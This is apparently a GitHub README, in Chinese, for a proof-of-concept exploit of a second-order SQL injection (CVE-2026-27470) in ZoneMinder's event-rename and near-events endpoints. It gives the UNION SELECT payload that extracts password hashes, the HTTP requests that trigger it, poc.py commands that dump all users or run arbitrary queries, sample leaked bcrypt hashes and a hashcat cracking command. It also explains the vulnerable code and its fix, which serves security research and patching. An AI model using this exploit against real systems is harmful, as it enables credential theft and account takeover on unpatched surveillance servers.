kocaemre/CVE-2026-27470

GitHub: kocaemre/CVE-2026-27470

ZoneMinder 二阶 SQL 注入漏洞(CVE-2026-27470)的概念验证工具,演示如何利用事件重命名功能窃取数据库中的用户凭据等敏感数据。

Stars: 2 | Forks: 0

# CVE-2026-27470 — ZoneMinder 二阶 SQL 注入 ![CVE](https://img.shields.io/badge/CVE-2026--27470-red) ![CVSS](https://img.shields.io/badge/CVSS-8.8%20HIGH-orange) ![Affected](https://img.shields.io/badge/Affected-ZoneMinder%20%E2%89%A41.36.37%20%2F%201.37.61--1.38.0-blue) ![Fixed](https://img.shields.io/badge/Fixed-1.36.38%20%2F%201.38.1-green) 针对 ZoneMinder 中 **二阶 SQL 注入** 漏洞的概念验证 exploit(漏洞利用程序)。拥有 `Events` 编辑和查看权限的已认证用户可以从数据库中提取任意数据 —— 包括所有用户凭据。 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-27470 | | **严重程度** | HIGH — CVSS 8.8 | | **向量** | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | **受影响版本** | ZoneMinder ≤ 1.36.37 and 1.37.61 – 1.38.0 | | **修复版本** | 1.36.38 / 1.38.1 | | **文件** | `web/ajax/status.php` → `getNearEvents()` | | **CWE** | CWE-89: SQL 命令中和不当 | | **需要认证** | 是 — `Events` 编辑 + 查看权限 | ## 漏洞详情 ### 二阶模式 这是一个教科书式的二阶(存储型)SQL 注入。攻击发生在两个独立的阶段,这就是为什么传统的扫描器经常会漏掉它。 **阶段 1 — 安全写入** 攻击者使用恶意 payload 重命名一个事件。ZoneMinder 在此处正确使用了参数化查询,因此 payload 被安全地存储在数据库中,而不会触发任何错误: ``` POST /index.php HTTP/1.1 request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- - ``` ``` // web/ajax/event.php — safe ✅ dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]); ``` 此时一切看起来都很正常。payload 只是静静地存储在 `Events.Name` 列中。 **阶段 2 — 易受攻击的读取** 攻击者通过请求同一事件记录的邻近事件来触发 `getNearEvents()`。该函数从数据库中读回存储的 `Name` 值,并在**没有任何转义的情况下将其直接连接到新的 SQL 查询中**: ``` GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1 ``` ``` // web/ajax/status.php ~line 460 — VULNERABLE ❌ $event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]); $sql = 'SELECT E.Id, E.StartDateTime FROM Events E INNER JOIN Monitors M ON E.MonitorId = M.Id WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← injection point AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id']; ``` 存储的 payload 跳出了字符串上下文,注入的 `UNION SELECT` 随即执行,在 JSON 响应的 `NextEventId` 字段中泄露数据: ``` { "result": "Ok", "nearevents": { "EventId": "1", "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6", "NextEventStartTime": null } } ``` ### 为什么它很危险 开发者犯了一个非常常见的错误:他们在写入时正确地清理了用户输入,从而产生了一种**虚假的安全感**。认为“来自我们自己数据库的数据是安全的”这一假设,使得该漏洞在读取路径中存在了多年。WAF 和大多数自动化扫描器无法捕获此漏洞,因为写入请求看起来完全干净。 ## 用法 ### 环境要求 ``` pip install requests ``` ### 选项 ``` -t, --target Target URL (e.g. http://10.10.10.10:8080) -u, --username ZoneMinder username -p, --password ZoneMinder password --event-id Event ID to use as injection carrier --query Custom SQL query to execute --dump-users Dump all usernames and password hashes --field Injection field: Name (default) or Cause --no-restore Do not restore event name after exploitation ``` ### 示例 ``` # 检查 DB 版本 (最简单测试) python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \ --query "SELECT VERSION()" # 转储所有用户和密码哈希 python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \ --dump-users # 通过 Cause 字段而非 Name 注入 python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \ --field Cause --dump-users # 自定义查询 python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \ --query "SELECT @@hostname" ``` ### 输出 ``` ╔══════════════════════════════════════════════════════════╗ ║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║ ║ CVSS 8.8 | Authenticated | Events Permission ║ ╚══════════════════════════════════════════════════════════╝ [*] Target : http://10.10.10.10:8080 [*] Logging in... [+] Session established. [+] Event ID (manual): 1 [*] Injecting payload (Name field)... [+] Payload stored via parameterized query — looks clean in DB. [*] Triggering second-order injection... [*] HTTP 200 [*] Event name restored. [+] User count: 2 [*] Running query: SELECT Username FROM Users LIMIT 0,1 [*] Running query: SELECT Password FROM Users LIMIT 0,1 [+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6 [*] Running query: SELECT Username FROM Users LIMIT 1,1 [*] Running query: SELECT Password FROM Users LIMIT 1,1 [+] User 2: operator:$2b$12$xK8s... ``` ## 攻击流程 ``` Attacker ZoneMinder MariaDB │ │ │ │ POST /index.php │ │ │ action=rename │ │ │ eventName= ──────► │ │ │ │ UPDATE Events SET Name=? ──►│ │ │ (parameterized — safe) │ │ │◄─────────────────────────────│ │ │ │ │ GET /index.php │ │ │ entity=nearevents ──────► │ │ │ sort_field=Name │ SELECT * FROM Events WHERE │ │ │ Id=? ──►│ │ │◄── Name = '' ───────│ │ │ │ │ │ builds SQL string: │ │ │ WHERE Name >= '' │ │ │ (no escaping!) │ │ │ UNION SELECT executes ────► │ │ │◄── credentials ──────────────│ │◄── JSON with leaked data ─────│ │ ``` ## 影响 - **机密性:** 完整的数据库读取 —— 所有用户哈希、API 密钥、监视器配置、系统设置 - **完整性:** 根据数据库驱动程序的配置,堆叠查询可能允许数据修改 - **权限提升:** 离线破解 admin bcrypt 哈希并获得完整的 ZoneMinder 访问权限 ``` # 使用 hashcat 破解收集的哈希 hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt ``` ## 注意事项 - 数据库中的 `Events.Name` 是 `varchar(64)` —— 请将注入 payload 保持在 63 个字符以内 - 注入结果显示在 JSON 响应的 `nearevents.NextEventId` 中 - ZoneMinder 使用 bcrypt 进行密码哈希处理(hashcat 模式 3200) - PoC 会自动处理 CSRF 保护 ## 修复建议 将 ZoneMinder 更新至 **1.36.38** 或 **1.38.1**。 修复方法是对存储的值使用参数化查询占位符,而不是字符串连接: ``` // Before (vulnerable) $sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'"; // After (fixed) $sql = "... WHERE E.Name >= ?"; $result = dbQuery($sql, [$event[$sort_field]]); ``` ## 参考资料 - [GitHub Security Advisory GHSA-r6gm-478g-f2c4](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-r6gm-478g-f2c4) - [ZoneMinder 1.36.38 发布](https://github.com/ZoneMinder/zoneminder/releases/tag/1.36.38) - [ZoneMinder 1.38.1 发布](https://github.com/ZoneMinder/zoneminder/releases/tag/1.38.1) ## 免责声明 本工具仅供**教育和授权安全研究目的**使用。 请勿针对您不拥有或未获得明确书面测试许可的系统使用本工具。
标签:CISA项目, CVE-2026-27470, CWE-89, Homebrew安装, PHP安全, PoC, Web安全, ZoneMinder, 二阶SQL注入, 多线程, 开源软件漏洞, 提权, 数据库攻击, 暴力破解, 蓝队分析, 视频监控, 认证后漏洞, 逆向工具